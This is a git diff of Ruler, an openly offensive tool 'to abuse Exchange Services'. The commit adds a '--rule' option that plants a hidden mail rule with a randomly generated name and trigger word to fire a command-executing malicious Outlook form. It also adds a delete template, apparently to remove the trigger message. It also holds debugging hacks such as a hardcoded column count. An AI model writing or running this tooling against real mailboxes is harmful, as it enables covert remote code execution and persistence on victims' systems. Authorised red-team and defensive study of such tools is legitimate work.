diff --git a/forms/rulerforms.go b/forms/rulerforms.go index 22ec793..4492c11 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -32,7 +32,16 @@ func CreateFormAttachmentPointer(folderid, messageid []byte) error { //CreateFormAttachmentTemplate creates the template attachment holding the actual command to execute func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error { + return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formtemplate.bin") +} + +//CreateFormAttachmentForDeleteTemplate creates the template attachment holding the actual command to execute +func CreateFormAttachmentForDeleteTemplate(folderid, messageid []byte, pstr string) error { + return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formdeletetemplate.bin") +} +//CreateFormAttachmentWithTemplate creates a form with a specific template +func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, templatepath string) error { utils.Info.Println("Create Form Template Attachment") attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4) @@ -43,8 +52,7 @@ func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error res, _ := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags) //read the template file for our payload - path := "templates/formtemplate.bin" - datafull, err := utils.ReadFile(path) + datafull, err := utils.ReadFile(templatepath) if err != nil { utils.Error.Println(err) if os.IsNotExist(err) { @@ -178,7 +186,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) { //DeleteForm is used to delete a specific form stored in an associated table func DeleteForm(suffix string, folderid []byte) ([]byte, error) { - columns := make([]mapi.PropertyTag, 2) + columns := make([]mapi.PropertyTag, 1) columns[0] = mapi.PidTagOfflineAddressBookName columns[1] = mapi.PidTagMid diff --git a/mapi/mapi.go b/mapi/mapi.go index da5162a..2c7242c 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -2041,7 +2041,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00} setColumns.InputHandle = 0x01 - setColumns.PropertyTagCount = uint16(len(columns)) + setColumns.PropertyTagCount = 2 //uint16(len(columns)) setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount) for k, v := range columns { setColumns.PropertyTags[k] = v @@ -2068,18 +2068,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ bufPtr := 10 var p int var e error - + utils.Info.Println(execResponse) setColumnsResp := RopSetColumnsResponse{} if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } bufPtr += p - + utils.Info.Println("Display") rows := RopQueryRowsResponse{} if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } + utils.Info.Println("Display") return &rows, nil } @@ -2126,6 +2127,60 @@ func DisplayRules() ([]Rule, error) { //return nil, ErrUnknown } +//ExecuteDeleteRuleAdd adds a new mailrule for deleting a message +//This should be merged with ExecuteMailRuleAdd +func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + execRequest.MaxRopOut = 262144 + + addRule := RopModifyRulesRequest{RopID: 0x41, LoginID: AuthSession.LogonID, InputHandleIndex: 0x00, ModifyRulesFlag: 0x00, RulesCount: 0x01, RuleData: RuleData{RuleDataFlags: 0x01}} + + propertyValues := make([]TaggedPropertyValue, 8) + //RUle Name + propertyValues[0] = TaggedPropertyValue{PidTagRuleName, utils.UniString(rulename)} //PidTagRuleSequence + propertyValues[1] = TaggedPropertyValue{PidTagRuleSequence, []byte{0x0A, 0x00, 0x00, 0x00}} //PidTagRuleState (Enabled) + propertyValues[2] = TaggedPropertyValue{PidTagRuleState, []byte{0x01, 0x00, 0x00, 0x00}} //PidTagRuleCondition + propertyValues[3] = TaggedPropertyValue{PidTagRuleCondition, utils.BodyToBytes(RuleCondition{0x03, []byte{0x01, 0x00, 0x01, 0x00}, []byte{0x1F, 0x00, 0x37, 0x00, 0x1f, 0x00, 0x37, 0x00}, utils.UniString(triggerword)})} //PidTagRuleActions + + actionData := ActionData{} + actionData.ActionElem = []byte{0x00, 0x00, 0x14} + actionData.ActionName = utils.UTF16BE(rulename, 1) + actionData.Element = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5F, 0x00, 0x00, 0x00, 0x05, 0x00, 0xff, 0xff, 0x00, 0x00, 0x0c, 0x00, 0x43, 0x52, 0x75, 0x6c, 0x65, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x80, 0x64, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x80, 0xCD, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + actionData.Triggger = utils.UTF16BE(triggerword, 1) + actionData.Elem = []byte{0x80, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + actionData.EndPoint = []byte{} + + ruleAction := RuleAction{Actions: 1, ActionType: 0x05, ActionFlavor: 0, ActionFlags: 0} + ruleAction.ActionLen = uint16(len(utils.BodyToBytes(actionData)) + 9) + ruleAction.ActionData = actionData + + pdat := ruleAction.Marshal() + + propertyValues[4] = TaggedPropertyValue{PidTagRuleActions, pdat} //PidTagRuleProvider + propertyValues[5] = TaggedPropertyValue{PidTagRuleProvider, utils.UniString("RuleOrganizer")} //PidTagRuleLevel + propertyValues[6] = TaggedPropertyValue{PidTagRuleLevel, []byte{0x00, 0x00, 0x00, 0x00}} //PidTagRuleProviderData + propertyValues[7] = TaggedPropertyValue{PidTagRuleProviderData, []byte{0x10, 0x00, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x7d, 0xd2, 0x27, 0x14, 0xc4, 0xe4, 0x40}} + //propertyValues[8] = TaggedPropertyValue{PidTagRuleUserFlags, []byte{0x0, 0x0, 0x0, 0xf}} //PidTagRuleSequence + + addRule.RuleData.PropertyValues = propertyValues + addRule.RuleData.PropertyValueCount = uint16(len(propertyValues)) + + ruleBytes := utils.BodyToBytes(addRule) + execRequest.RopBuffer.ROP.RopsList = ruleBytes + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + utils.Trace.Println(execResponse) + return nil, err + + //return nil, ErrUnknown +} + //ExecuteMailRuleAdd adds a new mailrules func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bool) (*ExecuteResponse, error) { //valid diff --git a/ruler.go b/ruler.go index 5cf2fc1..e61623b 100644 --- a/ruler.go +++ b/ruler.go @@ -508,6 +508,24 @@ func createForm(c *cli.Context) error { if err := forms.CreateFormAttachmentTemplate(folderid, msgid, command); err != nil { return err } + utils.Info.Println("Form created successfully") + + if c.Bool("rule") == true { + rname := utils.GenerateString(6) + utils.Info.Printf("Rule trigger set. Adding new rule with name %s\n", rname) + triggerword := utils.GenerateString(8) + utils.Info.Printf("Adding new rule with trigger of %s\n", triggerword) + if c.Bool("send") == false { + utils.Info.Printf("Autosend disabled. You'll need to trigger the rule by sending an email with the keyword \"%s\" present in the subject. \n", triggerword) + } + //create delete rule + if _, err := mapi.ExecuteDeleteRuleAdd(rname, triggerword); err != nil { + utils.Error.Println("Failed to create the trigger rule") + } else { + utils.Info.Println("Trigger rule created.") + } + c.Set("subject", triggerword) + } //trigger the email if the send option is enabled if c.Bool("send") == true { @@ -568,7 +586,7 @@ func main() { app := cli.NewApp() app.Name = "ruler" app.Usage = "A tool to abuse Exchange Services" - app.Version = "2.1.0" + app.Version = "2.1.3" app.Author = "Etienne Stalmans , @_staaldraad" app.Description = ` _ _ __ _ _| | ___ _ __ @@ -919,6 +937,10 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Name: "send,s", Usage: "Trigger the form once it's been created.", }, + cli.BoolFlag{ + Name: "rule,r", + Usage: "Trigger the form with a rule. This will add a new rule!", + }, cli.StringFlag{ Name: "body,b", Value: "This message cannot be displayed in the previewer.\n\n\n\n\n", diff --git a/templates/formdeletetemplate.bin b/templates/formdeletetemplate.bin new file mode 100644 index 0000000..60016b0 Binary files /dev/null and b/templates/formdeletetemplate.bin differ diff --git a/utils/utils.go b/utils/utils.go index 62619ca..24ef37d 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -214,9 +214,9 @@ func ReadByte(pos int, buff []byte) (byte, int) { func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { //stupid hack as using bufio and ReadString(byte) would terminate too early //would terminate on 0x00 instead of 0x0000 - index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1 str := buff[pos : pos+index] - return []byte(str), pos + index + 2 + return []byte(str), pos + index + 1 } //ReadASCIIString returns a string as ascii @@ -262,3 +262,16 @@ func Obfuscate(data []byte) []byte { } return bnew } + +//GenerateString creates a random string of lenght pcount +func GenerateString(pcount int) string { + var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + //seed := time.Date(year, month, day, hour, min, sec,x,time.UTC).UnixNano() + rand.Seed(time.Now().UTC().UnixNano()) + + b := make([]rune, pcount) + for i := range b { + b[i] = letterRunes[rand.Intn(len(letterRunes))] + } + return string(b) +}